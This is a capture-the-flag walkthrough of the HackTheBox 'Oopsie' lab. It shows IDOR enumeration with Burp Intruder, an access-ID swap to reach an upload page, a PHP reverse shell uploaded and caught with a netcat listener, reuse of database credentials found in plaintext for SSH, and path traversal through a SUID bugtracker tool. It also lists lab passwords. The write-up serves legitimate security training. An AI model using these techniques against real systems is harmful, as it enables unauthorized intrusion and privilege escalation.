I’ve returned to HTB recently after a lack of ethical hacking and decided to dip my toe in the water with their “Starting Point” series of challenges.
Oopsie CTF Challenge
I thought I’d do a write up of Oopsie to cement the knowledge in my head and to provide a really simply walkthrough for newbies (as even the PDF guide makes some assumptions about knowledge).
Two assumptions are made in the tutorial below, the IP address of Oopsie is 10.10.10.28 and you are using Kali Linux (not critical but it has all the required tools).
Important Note about the Starting Point series: Some of them follow-on from each other, Oopsie relies on information gathered in Archetype, the previous box – something that completelt stumped me until I looked at the guide.
Initial Reconnaisance
Nmap Port Scanning
As every with any box pretty much the very first thing I do is fire off nmap to start gathering information:
nmap 10.10.10.28 -p- -sV
This returns the following:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Application Enumeration
As soon as I see web application, I will typically throw dirb at it to start enumerating the file/folder structure for interesting information, this can take a while so I start it *before* I even start browsing the site manually:
dirb http://10.10.10.28
While this is running, I browse the website manually but don’t seem to be able to get anywhere.
In the meant ime, dirb has output the following, nothing hugely interesting at the moment:
—- Scanning URL: http://10.10.10.28/ —-
==> DIRECTORY: http://10.10.10.28/css/
==> DIRECTORY: http://10.10.10.28/fonts/
==> DIRECTORY: http://10.10.10.28/images/
+ http://10.10.10.28/index.php (CODE:200|SIZE:10932)
==> DIRECTORY: http://10.10.10.28/js/
+ http://10.10.10.28/server-status (CODE:403|SIZE:276)
==> DIRECTORY: http://10.10.10.28/themes/
==> DIRECTORY: http://10.10.10.28/uploads/
—- Entering directory: http://10.10.10.28/css/ —-
—- Entering directory: http://10.10.10.28/fonts/ —-
—- Entering directory: http://10.10.10.28/images/ —-
—- Entering directory: http://10.10.10.28/js/ —-
—- Entering directory: http://10.10.10.28/themes/ —-
—- Entering directory: http://10.10.10.28/uploads/ —-
Web Application Investigation/Mapping
Next I load BurpSuite to see if it captures anything more interesting, its beyond the scope of this tutorial to go through BurpSuites full functionality but following these steps:
Load BurpSuite and click Next on the welcome page (Temporary Project will be selected):
Click Start Burp on the next screen
Once BurpSuite has loaded, I click on the Proxy tab, turn Intercept off (otherwise all https requests are suspended) and then click Open Browser to use the built-in BurpSuite web browser:
When browsing the web application (in either BurpSuite or another browser) if it doesn’t appear right this may be because you don’t have internet access when connected to the HTB network via VPN – if so, check out this tutorial: https://bobmckay.com/i-t-support-networking/ethical-hacking/hackthebox-vpn-internet-not-working-aka-enable-split-tunneling-on-htb-vpn/.
I tried browsing the website but no pages would load. I tried visiting some of the URLs identified by dirb such as http://10.10.10.28/server-status but simply got 403 forbidden errors.
Next, I returned to BurpSuite and went to the Target tab and clicked Site map to see if BurpSuite had uncovered anything I hadn’t, sure enough there was a folder (http://10.10.10.28/cdn-cgi/login) and script that looked interesting (http://10.10.10.28/cdn-cgi/login/script.js):
I browsed to the login address and we’re presented with a login page! Unfortunately this is where I came unstock initially, I had no idea that we needed the credentials from the previous machine (Archetype) and had to revert to the guide after wasting a lot of time trying other exploits!
The login credentials are admin : MEGACORP_4dm1n!!
This takes us to a “Repair Management System” page with a menu of options, each of the options doesn’t see to do much though the account page shows is an ‘Access ID’ for the user we are logged in as and there is an Uploads section we are need super admin access to view.
When we view the accounts page, its interesting to note that the URL has an “id” on the end:
http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1
I tried manually incrementing this id up to number 15 and saw interesting behaviour for the following but nothing amazing – they showed different users “Access IDs”:
http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=4
http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=13
We could sit there and manually run through hundreds of IDs but at this point, I used BurpSuite’s built-in Intruder tool to get it to do some of the monotonous work for us, to do this:
Click the Proxy main menu item in BurpSuite
Click the HTTP history tab
Locate one of your visits to the accounts page (it will look like the examples above), click to select it
Right click and click Send to Intruder (you should see Intruder turn orange on the main menu)
Click Intruder on the main menu
The Attack Target should now be already set to 10.10.10.28:
Click the Positions tab
Click the Clear button on the right hand menu to clear the default placeholders BurpSuite has put in.
In the request text, highlight the id value we discovered and then press Add on the right hand menu:
Click on the Payloads tab
Next, we need a list of numbers for BurpSuite to work through, 1 to 100 should do it, you can generate this list either by:
- Use and online tool such as: https://onlinenumbertools.com/generate-integers
- Open a bash shell in Linux and enter the following: for i in `seq 1 100`; do echo $i; done
Once you have the list of 1 to 100 numbers copied to your clipboard, return to BurpSuite and on the Payloads tab, click Paste to paste the number sequence in to the Payload Options box:
Next, click Options
Scroll to the very bottom and ensure that Follow Redirections is set to Always and that Process cookies in redirections is checked:
Click the Target tab again
Click the Start Attack button on the right hand side
If you’re using the Community (free) edition of BurpSuite you’ll get a warning that the attack is throttled, in this instance it will take about 5 minutes to complete (grab a coffee!).
When it’s finished, we’re presented with a number of results (all with a success status code of 200) but some of the responses from the web server were different sizes. To help investigate, we can order the results by length (descending) by clicking the Length column heading twice:
If we click on the responses and select the Response tab in the window below, we can see the HTML returned for each request. Alternatively we can right click on any response, click Show Response in Browser, pasting the provided URL in to the BurpSuite browser.
We notice that the first request (ID 30) has a username of super admin which looks interesting, it also tells us that their Access ID is 86575:
Rturn to the main page of the web application in the BurpSuite browser and try clicking Uploads again, we know it will fail but we should take a closer look at the request.
In BurpSuite, go to Proxy on the main menu, then Http History
Click on the latest request (it should be the one you just attempted: /cdn-cgi/login/admin.php?content-uploads).
In the response window, we can see where our Access ID is submitted during the request:
What happens if we replace this with the Access ID of the ‘super admin’ we discovered? To do that, we’ll need to Intercept the request before it goes to the server:
In the browser, return to the application main page (http://10.10.10.28/cdn-cgi/login/admin.php)
In BurpSuite, go to Proxy on the main menu, then Intercept
Turn Intercept On by click the button near the top of the application
In the browser, click Uploads from the main menu (you’ll notice the page doesn’t load)
In BurpSuite, we can see the request about to be sent, change the user (Access ID) to the one we captured earlier for the super admin (86575):
Click the Forward button, you should now see your browser successfully load the “Branding Image Uploads” page. Normally a developer will have coded this to only allow images but we’ll try pushing a script and hope they haven’t!
We’ll be trying to upload a reverse shell to the server, to do this download the script from here: https://github.com/pentestmonkey/php-reverse-shell
Rename the shell to something specific to you (otherwise other people on the server might trigger it or overwrite it), for example oopsieshell.php
Edit the file and change the following two lines of code near the top to your IP address and the port of our listener, I used 4444 as its the default for the MetaSploit multi-handler:
$ip = ‘127.0.0.1’; // CHANGE THIS
$port = 1234; // CHANGE THIS
Save the file
In the BurpSuite browser, select the file and enter an arbitrary brand name
Click Upload
In BurpSuite, click Forward once to get to the request and edit the user again as before (to 86575)
Click Forward again
You should now see a confirmation message saying “The file oopsieshell.php has been uploaded.” – we have a shell script on the server ready to run!
In BurpSuite, turn Intercept off (we shouldn’t need it now but want to browse the website).
Now we need to tell our machine to ‘listen’ for connections from the target computer requested by our shell script (when we trigger it), we’ll used NetCat:
nc -lvnp 4444
Now we need to ‘trigger’ the shell and get it to call home.
At the moment we don’t know where the file we uploaded is but earlier on dirb confirmed there was a folder called /uploads/ so that’s worth a try, in the BurpSuite browser go to:
https://10.10.10.18/uploads/oopsieshell.php
Important Note: I had to repeat the upload a couple of times to get it to work and twice my shell died and I had to reupload the file and restart the listerner. This could be down to others resetting the box frequently.
You should see your shell window with the netcat listener update as a connection is established, it should look something like this:
We can now execute shell commands on the target machine.
Shell Upgade
At the moment we have a shell (command line interpreter), we want to switch this to a full shell using the following command:
SHELL=/bin/bash script -q /dev/null
Ok, now lets get the user flag:
Navigate to the home folder:
cd /home
List the contents
ls -l
Navigate to the ‘robert’ folder
cd robert
List the contents
ls -l
We can see the user.txt flag file, view the contents:
cat user.txt
Now you have the the user flag, congratulations!
Going After Root
Now we have the user flag, we’ll want to get the root one but we don’t have the right permissions – we need to escalate our privileges.
We know this is a webserver and we know its dynamic so has a database. Databases need credentials so lets see if we can find them:
Search the file structure for ‘www’:
locate www
This shows us a lot of interesting hits, most of which centre around /var/www/html, let’s naviate there:
cd /var/www/html
We explore the folders using cd and ls until we find the db.php file, we use cat to show its contents:
cat db.php
We’re showing the following string, giving us another username and password to try:
<?php
$conn = mysqli_connect(‘localhost’,’robert’,’M3g4C0rpUs3r!’,’garage’);
?>
In our very first port scan with nmap, there were two services – a web server and SSH, let’s try logging in using the above credentials via SSH. Open a new terminal and enter:
When prompted for password, enter M3g4C0rpUs3r!
We now have a direct SSH terminal on the target machine, logged in as ‘robert’. Attempts to browse to the root folder or to use sudo confirm robert doesn’t have high levels of privilege.
We run the ID comment to find out more about the user we are logged in as (robert):
id
This gives us the following information:
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
Robert is part of a user group called bugtracker, let’s see if we can find any files relating to bug tracker:
locate bugtracker
We get one result (good!) which is: /usr/bin/bugtracker
Let’s go there and run it
cd /usr/bin/ ./bugtracker
We’re prompted to enter a bug ID, by trying different numbers we can see different bug reports:
Let’s try and break it by entering some text:
Entering arse instead of a number returns an error from the cat command, this indicates the bugtracker is just a wrapper for the cat command, loading files from the /root/reports/ folder with the bug ID appended to it.
We know from the error that this utility is looking in a subfolder of the root folder called reports so to get to the root.txt flag in the root folder, we need to go up a level, run the bugtracker and enter a bug ID of:
.. /root.txt
This tells cat to go up a level and display the contents of the root.txt file!
